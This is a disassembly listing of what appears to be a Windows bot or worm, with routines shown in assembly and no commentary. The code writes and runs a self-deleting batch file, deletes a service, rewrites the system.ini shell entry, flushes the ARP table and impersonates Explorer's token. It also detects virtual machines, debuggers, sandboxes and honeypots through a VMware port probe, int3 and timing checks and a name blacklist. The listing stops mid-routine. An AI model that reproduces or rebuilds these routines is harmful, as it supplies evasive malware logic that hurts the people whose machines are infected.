var_108		= byte ptr -108h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 80Ch
		push	esi
		lea	eax, [ebp+var_80C]
		push	edi
		push	eax
		push	400h
		call	dword_42F050	; GetTempPathA
		lea	eax, [ebp+var_108]
		push	104h
		xor	esi, esi
		push	eax
		push	esi
		call	dword_42F074	; GetModuleHandleA
		push	eax
		call	dword_42F154	; GetModuleFileNameA
		call	sub_4220FC
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		idiv	edi
		lea	eax, [ebp+var_80C]
		push	edx
		push	eax
		lea	eax, [ebp+var_20C]
		push	offset aSRemovemeIIII_ ; "%s\\removeMe%i%i%i%i.bat"
		push	eax
		call	sub_422063
		add	esp, 1Ch
		lea	eax, [ebp+var_108]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_20C]
		push	40000000h
		push	eax
		call	dword_42F060	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_41F451
		lea	eax, [ebp+var_108]
		cmp	[ebp+arg_0], esi
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		lea	eax, [ebp+var_40C]
		jnz	short loc_41F409
		push	offset a@echoOffRepeat ; "@echo	off\r\n:Repeat\r\ndel \"%s\">nul\r\nping "...
		jmp	short loc_41F40E
; ---------------------------------------------------------------------------


loc_41F409:				; CODE XREF: sub_41F331+CFj
		push	offset a@echoOffRepe_0 ; "@echo	off\r\n:Repeat\r\ndel \"%s\">nul\r\nif ex"...


loc_41F40E:				; CODE XREF: sub_41F331+D6j
		push	eax
		call	sub_422063
		add	esp, 14h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	edi
		call	dword_42F07C	; WriteFile
		push	edi
		call	dword_42F038	; CloseHandle
		push	esi
		push	esi
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	esi
		push	esi
		call	dword_454270	; ShellExecuteA


loc_41F451:				; CODE XREF: sub_41F331+AFj
		pop	edi
		pop	esi
		leave
		retn
sub_41F331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F455	proc near		; CODE XREF: sub_403B2C+838p
					; sub_40CDE2+620p

var_114		= dword	ptr -114h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset sub_414F1C
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		push	offset dword_439540
		call	sub_414F91
		mov	[esp+114h+var_114], 3E8h
		call	dword_42F15C	; Sleep
		push	0F003Fh
		push	esi
		push	esi
		call	dword_454304	; OpenSCManagerA
		push	0F01FFh
		push	offset dword_439068
		push	eax
		call	dword_4541D4	; OpenServiceA
		push	eax
		call	dword_454250	; DeleteService
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	dword_42F0C0	; GetWindowsDirectoryA
		lea	eax, [ebp+var_104]
		push	offset aSystem_ini ; "\\system.ini"
		push	eax
		call	dword_42F0D4	; lstrcatA
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aExplorer_exe_0 ; "explorer.exe"
		push	offset aShell	; "shell"
		push	offset aBoot	; "boot"
		call	dword_42F160	; WritePrivateProfileStringA
		mov	ebx, offset byte_439233
		mov	edi, offset dword_439134
		push	ebx
		push	edi
		push	dword_439130
		call	sub_41A454
		push	ebx
		push	edi
		push	80000001h
		call	sub_41A454
		add	esp, 18h
		push	dword_4555FC
		call	dword_42F084	; ReleaseMutex
		cmp	[ebp+arg_0], esi
		jnz	short loc_41F532
		call	sub_41BFDA
		push	esi
		call	sub_41F331
		pop	ecx


loc_41F532:				; CODE XREF: sub_41F455+CFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F537	proc near		; CODE XREF: sub_415126+6Cp
					; sub_415126+A3p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_630E38
		push	0
		push	edi
		call	sub_4221F0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_41F55C:				; CODE XREF: sub_41F537+5Bj
					; sub_41F537+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_424A20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_424AA0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_41F59A
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_41F55C
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_41F55C
; ---------------------------------------------------------------------------


loc_41F59A:				; CODE XREF: sub_41F537+4Bj
		mov	eax, edi
		jmp	short loc_41F5A3
; ---------------------------------------------------------------------------


loc_41F59E:				; CODE XREF: sub_41F537+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_41F5A3:				; CODE XREF: sub_41F537+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_41F59E
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5B5	proc near		; CODE XREF: sub_4153BB+C2p
					; sub_4153BB+DBp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		lea	esi, [ebp+var_38]


loc_41F5CB:				; CODE XREF: sub_41F5B5+47j
					; sub_41F5B5+4Dj
		push	0
		push	0Ah
		push	ebx
		push	edi
		call	sub_424A20
		push	0
		add	al, 30h
		push	0Ah
		push	ebx
		mov	[esi], al
		push	edi
		inc	esi
		call	sub_424AA0
		mov	ebx, edx
		mov	edi, eax
		or	eax, ebx
		jz	short loc_41F604
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_41F5CB
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_41F5CB
; ---------------------------------------------------------------------------


loc_41F604:				; CODE XREF: sub_41F5B5+37j
		mov	eax, [ebp+arg_8]
		jmp	short loc_41F60E
; ---------------------------------------------------------------------------


loc_41F609:				; CODE XREF: sub_41F5B5+5Fj
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_41F60E:				; CODE XREF: sub_41F5B5+52j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_41F609
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F621	proc near		; CODE XREF: sub_412267+4B5p
		mov	ecx, dword_454218
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_41F62F
		jmp	ecx
; ---------------------------------------------------------------------------

locret_41F62F:				; CODE XREF: sub_41F621+Aj
		retn
sub_41F621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F630	proc near		; CODE XREF: sub_403B2C+1C58p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_454390	; GetIpNetTable
		sub	eax, edi
		jz	short loc_41F68F
		sub	eax, 32h
		jz	short loc_41F68A
		sub	eax, 48h
		jnz	short loc_41F68A
		push	[ebp+var_8]
		call	sub_422F79
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_4221F0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_41F68A
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_454390	; GetIpNetTable
		test	eax, eax
		jz	short loc_41F68F


loc_41F68A:				; CODE XREF: sub_41F630+28j
					; sub_41F630+2Dj ...
		mov	[ebp+var_4], edi
		jmp	short loc_41F6A5
; ---------------------------------------------------------------------------


loc_41F68F:				; CODE XREF: sub_41F630+23j
					; sub_41F630+58j
		cmp	[esi], edi
		jbe	short loc_41F6A5
		lea	ebx, [esi+4]


loc_41F696:				; CODE XREF: sub_41F630+73j
		push	ebx
		call	dword_45438C	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_41F696


loc_41F6A5:				; CODE XREF: sub_41F630+5Dj
					; sub_41F630+61j
		push	esi
		call	sub_4230B3
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6B4	proc near		; CODE XREF: sub_41F76B+9p

var_110C	= dword	ptr -110Ch
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 110Ch
		call	sub_4220C0
		push	ebx
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_110C]
		push	1000h
		push	eax
		call	dword_45430C
		test	eax, eax
		jz	short loc_41F75B
		mov	edi, [ebp+var_4]
		push	0
		shr	edi, 2
		pop	esi
		jz	short loc_41F75B


loc_41F6E9:				; CODE XREF: sub_41F6B4+A5j
		lea	eax, [ebp+var_10C]
		push	offset aUnknown	; "unknown"
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	[ebp+esi*4+var_110C]
		push	0
		push	411h
		call	dword_42F0E4	; OpenProcess
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41F756
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	ebx
		call	dword_4542D0
		test	eax, eax
		jz	short loc_41F756
		lea	eax, [ebp+var_10C]
		push	104h
		push	eax
		push	[ebp+var_8]
		push	ebx
		call	dword_454224
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aExplorer_exe ; "Explorer.exe"
		call	dword_42F070	; lstrcmpiA
		test	eax, eax
		jz	short loc_41F762


loc_41F756:				; CODE XREF: sub_41F6B4+5Fj
					; sub_41F6B4+74j
		inc	esi
		cmp	esi, edi
		jb	short loc_41F6E9


loc_41F75B:				; CODE XREF: sub_41F6B4+28j
					; sub_41F6B4+33j
		xor	eax, eax


loc_41F75D:				; CODE XREF: sub_41F6B4+B5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F762:				; CODE XREF: sub_41F6B4+A0j
		mov	eax, [ebp+esi*4+var_110C]
		jmp	short loc_41F75D
sub_41F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F76B	proc near		; CODE XREF: sub_4130E5+Cp
					; sub_416208:loc_416277p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	edi
		call	sub_41F6B4
		test	eax, eax
		jz	short loc_41F7BB
		push	eax
		push	1
		push	1F0FFFh
		call	dword_42F0E4	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	short loc_41F7BB
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	0Ah
		push	edi
		call	dword_4542F8	; OpenProcessToken
		mov	esi, dword_42F038
		test	eax, eax
		jz	short loc_41F7B7
		push	[ebp+var_4]
		call	dword_4543C8	; ImpersonateLoggedOnUser
		push	[ebp+var_4]
		call	esi ; dword_42F038


loc_41F7B7:				; CODE XREF: sub_41F76B+3Cj
		push	edi
		call	esi ; dword_42F038
		pop	esi


loc_41F7BB:				; CODE XREF: sub_41F76B+10j
					; sub_41F76B+24j
		pop	edi
		leave
		retn
sub_41F76B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7BE	proc near		; CODE XREF: sub_416208+18p

var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 178h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_C], ebx
		call	dword_454304	; OpenSCManagerA
		mov	[ebp+var_4], eax


loc_41F7DF:				; CODE XREF: sub_41F7BE+80j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_178]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_4]
		call	dword_4542C8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41F815
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	short loc_41F840


loc_41F815:				; CODE XREF: sub_41F7BE+48j
		xor	esi, esi
		cmp	[ebp+var_8], ebx
		jle	short loc_41F83B
		lea	edi, [ebp+var_178]


loc_41F822:				; CODE XREF: sub_41F7BE+7Bj
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41F850
		inc	esi
		add	edi, 24h
		cmp	esi, [ebp+var_8]
		jl	short loc_41F822


loc_41F83B:				; CODE XREF: sub_41F7BE+5Cj
		cmp	[ebp+var_C], ebx
		jnz	short loc_41F7DF


loc_41F840:				; CODE XREF: sub_41F7BE+55j
		push	[ebp+var_4]
		call	dword_4541F0	; CloseServiceHandle
		xor	eax, eax


loc_41F84B:				; CODE XREF: sub_41F7BE+A4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F850:				; CODE XREF: sub_41F7BE+72j
		lea	eax, [esi+esi*8]
		xor	ecx, ecx
		cmp	[ebp+eax*4+var_16C], 4
		setz	cl
		mov	eax, ecx
		jmp	short loc_41F84B
sub_41F7BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F864	proc near		; CODE XREF: sub_41F8E4+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	short loc_41F87A
		mov	eax, [edi]
		mov	[ebp+arg_4], eax
		jmp	short loc_41F87E
; ---------------------------------------------------------------------------


loc_41F87A:				; CODE XREF: sub_41F864+Dj
		and	[ebp+arg_4], 0


loc_41F87E:				; CODE XREF: sub_41F864+14j
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jz	short loc_41F88C
		mov	eax, [esi]
		mov	[ebp+arg_8], eax
		jmp	short loc_41F890
; ---------------------------------------------------------------------------


loc_41F88C:				; CODE XREF: sub_41F864+1Fj
		and	[ebp+arg_8], 0


loc_41F890:				; CODE XREF: sub_41F864+26j
		push	eax
		push	ebx
		push	ecx
		push	edx
		mov	eax, 564D5868h
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, 5658h
		in	eax, dx
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], ebx
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_8], edx
		pop	edx
		pop	ecx
		pop	ebx
		pop	eax
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		test	ecx, ecx
		jz	short loc_41F8C1
		mov	[ecx], eax


loc_41F8C1:				; CODE XREF: sub_41F864+59j
		test	edi, edi
		jz	short loc_41F8CA
		mov	ecx, [ebp+arg_4]
		mov	[edi], ecx


loc_41F8CA:				; CODE XREF: sub_41F864+5Fj
		test	esi, esi
		jz	short loc_41F8D3
		mov	ecx, [ebp+arg_8]
		mov	[esi], ecx


loc_41F8D3:				; CODE XREF: sub_41F864+68j
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_41F8DF
		mov	edx, [ebp+var_8]
		mov	[ecx], edx


loc_41F8DF:				; CODE XREF: sub_41F864+74j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F864	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8E4	proc near		; CODE XREF: .text:loc_41F91Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_4], 0Ah
		call	sub_41F864
		mov	eax, [ebp+var_8]
		add	esp, 10h
		sub	eax, 564D5868h
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, [ebp+var_C]
		leave
		retn
sub_41F8E4	endp

; ---------------------------------------------------------------------------


loc_41F91A:				; DATA XREF: sub_41FB50+CAo
		call	sub_41F8E4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_41F926:				; CODE XREF: sub_41FB50:loc_41FBC6p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F328
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	byte ptr [ebp-19h], 0
		and	dword ptr [ebp-4], 0
		push	ebx
		mov	ebx, 0
		mov	eax, 1
; ---------------------------------------------------------------------------
		db 0Fh
		dd 850B073Fh, 45940FDBh, 34EB5BE7h, 89EC458Bh, 458BE045h
		dd 4408BE0h, 8BDC4589h,	0C883DC4Dh, 0A48189FFh,	8B000000h
		dd 898BDC4Dh, 0B8h, 8B04C183h, 8A89DC55h, 0B8h,	0E8658BC3h
		dd 0FFFC4D83h, 0E745B60Fh, 64F04D8Bh, 0D89h, 5E5F0000h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9B7	proc near		; CODE XREF: sub_41FB50+7Fp

var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_42F338
		push	offset sub_424B30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_19], 1
		and	[ebp+var_4], 0
		push	edx
		push	ecx
		push	ebx
		mov	eax, 564D5868h
		mov	ebx, 0
		mov	ecx, 0Ah
		mov	edx, 5658h
		in	eax, dx
		cmp	ebx, 564D5868h
		setz	[ebp+var_19]
		pop	ebx
		pop	ecx
		pop	edx
		jmp	short loc_41FA17
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		and	[ebp+var_19], 0


loc_41FA17:				; CODE XREF: sub_41F9B7+53j
		or	[ebp+var_4], 0FFFFFFFFh
		movzx	eax, [ebp+var_19]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA2E	proc near		; CODE XREF: sub_41FB50:loc_41FB98p
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
		add	dword ptr [eax+20h], 2000h
		retn
sub_41FA2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA42	proc near		; CODE XREF: sub_41FB50+88p

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	esi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		mov	esi, offset aTu4nh09smcg1hc ; "TU-4NH09SMCG1HC"
		push	eax
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], offset aRoo ; "roo"
		mov	[ebp+var_2C], offset aSandbox ;	"sandbox"
		mov	[ebp+var_28], offset aSnort ; "snort"
		mov	[ebp+var_24], offset aHoney ; "honey"
		mov	[ebp+var_20], offset aHoneyc ; "honeyc"
		mov	[ebp+var_1C], offset aHoneyd ; "honeyd"
		mov	[ebp+var_18], offset aHoneymule	; "HoneyMule"
		mov	[ebp+var_14], offset aVmware ; "vmware"
		mov	[ebp+var_10], offset aCurrentuser ; "currentuser"
		mov	[ebp+var_C], offset aNepenthes ; "nepenthes"
		mov	[ebp+var_8], offset aImail8_001531N ; "(IMail 8.00 153-1) NT-ESMTP Server X1"
		mov	[ebp+var_4], 80h
		call	dword_42F028	; GetUserNameA
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_42F250	; CharLowerA
		xor	edi, edi


loc_41FAC9:				; CODE XREF: sub_41FA42+A1j
		push	[ebp+edi*4+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41FB0D
		inc	edi
		cmp	edi, 0Ch
		jb	short loc_41FAC9
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_42F120	; GetComputerNameA
		test	eax, eax
		jz	short loc_41FB12
		lea	eax, [ebp+var_134]
		push	esi
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41FB12


loc_41FB0D:				; CODE XREF: sub_41FA42+9Bj
		xor	eax, eax
		inc	eax
		jmp	short loc_41FB14
; ---------------------------------------------------------------------------


loc_41FB12:				; CODE XREF: sub_41FA42+B6j
					; sub_41FA42+C9j
		xor	eax, eax


loc_41FB14:				; CODE XREF: sub_41FA42+CEj
		pop	edi
		pop	esi
		leave
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB18	proc near		; CODE XREF: sub_41FB50+91p

var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42F154	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aInsidetm ; "\\InsideTm\\"
		push	eax
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		leave
		retn
sub_41FB18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB50	proc near		; CODE XREF: sub_4120E9+10p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_631270, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_41FB6A
		xor	eax, eax
		inc	eax
		jmp	loc_41FCBB
; ---------------------------------------------------------------------------


loc_41FB6A:				; CODE XREF: sub_41FB50+10j
		and	[ebp+var_4], 0
		mov	esi, offset aKernel32_dll ; "KERNEL32.DLL"
		push	esi
		call	dword_42F074	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_41FB89
		push	esi
		call	dword_42F138	; LoadLibraryA
		test	eax, eax
		jz	short loc_41FB98


loc_41FB89:				; CODE XREF: sub_41FB50+2Cj
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		push	eax
		call	dword_42F13C	; GetProcAddress
		mov	[ebp+var_4], eax


loc_41FB98:				; CODE XREF: sub_41FB50+37j
		call	sub_41FA2E
		call	dword_42F164	; GetTickCount
		mov	[ebp+var_C], eax
		mov	esi, offset sub_41FCF3
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FBB5
		xor	eax, eax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBB5:				; CODE XREF: sub_41FB50+5Fj
		mov	eax, 1


loc_41FBBA:				; CODE XREF: sub_41FB50+63j
		test	al, al
		jz	short loc_41FBC6


loc_41FBBE:				; CODE XREF: sub_41FB50+7Dj
					; sub_41FB50+86j ...
		xor	edi, edi
		inc	edi
		jmp	loc_41FCAF
; ---------------------------------------------------------------------------


loc_41FBC6:				; CODE XREF: sub_41FB50+6Cj
		call	loc_41F926
		test	eax, eax
		jnz	short loc_41FBBE
		call	sub_41F9B7
		test	eax, eax
		jnz	short loc_41FBBE
		call	sub_41FA42
		test	eax, eax
		jnz	short loc_41FBBE
		call	sub_41FB18
		test	eax, eax
		jnz	short loc_41FBBE
		mov	esi, offset loc_41FCC0
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FBF9
		xor	eax, eax
		jmp	short loc_41FBFE
; ---------------------------------------------------------------------------


loc_41FBF9:				; CODE XREF: sub_41FB50+A3j
		mov	eax, 1


loc_41FBFE:				; CODE XREF: sub_41FB50+A7j
		test	al, al
		jnz	short loc_41FBBE
		mov	esi, offset sub_41FCC3
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FC11
		xor	eax, eax
		jmp	short loc_41FC16
; ---------------------------------------------------------------------------


loc_41FC11:				; CODE XREF: sub_41FB50+BBj
		mov	eax, 1


loc_41FC16:				; CODE XREF: sub_41FB50+BFj
		test	al, al
		jnz	short loc_41FBBE
		mov	esi, offset loc_41F91A
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FC29
		xor	eax, eax
		jmp	short loc_41FC2E
; ---------------------------------------------------------------------------


loc_41FC29:				; CODE XREF: sub_41FB50+D3j
		mov	eax, 1


loc_41FC2E:				; CODE XREF: sub_41FB50+D7j
		xor	edi, edi
		mov	ebx, offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\VMware Tools"
		inc	edi
		mov	esi, 80000002h
		push	edi
		push	offset aInstallpath ; "InstallPath"
		push	ebx
		push	esi
		call	sub_41A57A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41FCAF
		push	4
		push	offset aShowtray ; "ShowTray"
		push	ebx
		push	esi
		call	sub_41A57A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41FCAF
		call	sub_41FCC3
		test	eax, eax
		jnz	short loc_41FCAF
		cmp	[ebp+var_4], eax
		jz	short loc_41FC9F
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	esi, [ebp+var_8]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_41FC85
		xor	eax, eax
		jmp	short loc_41FC8A
; ---------------------------------------------------------------------------


loc_41FC85:				; CODE XREF: sub_41FB50+12Fj
		mov	eax, 1


loc_41FC8A:				; CODE XREF: sub_41FB50+133j
		test	al, al
		jnz	short loc_41FCAF
		call	[ebp+var_4]
		test	eax, eax
		jnz	short loc_41FCAF
		call	dword_42F124	; IsDebuggerPresent
		test	eax, eax
		jnz	short loc_41FCAF


loc_41FC9F:				; CODE XREF: sub_41FB50+120j
		call	dword_42F164	; GetTickCount
		sub	eax, [ebp+var_C]
		cmp	eax, 1388h
		jbe	short loc_41FCB9


loc_41FCAF:				; CODE XREF: sub_41FB50+71j
					; sub_41FB50+FDj ...
		mov	dword_631270, edi
		mov	eax, edi
		jmp	short loc_41FCBB
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: sub_41FB50+15Dj
		xor	eax, eax


loc_41FCBB:				; CODE XREF: sub_41FB50+15j
					; sub_41FB50+167j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FCC0:				; DATA XREF: sub_41FB50+9Ao
		xor	al, al
		retn
sub_41FB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCC3	proc near		; CODE XREF: sub_41FB50+114p
					; DATA XREF: sub_41FB50+B2o
		push	0
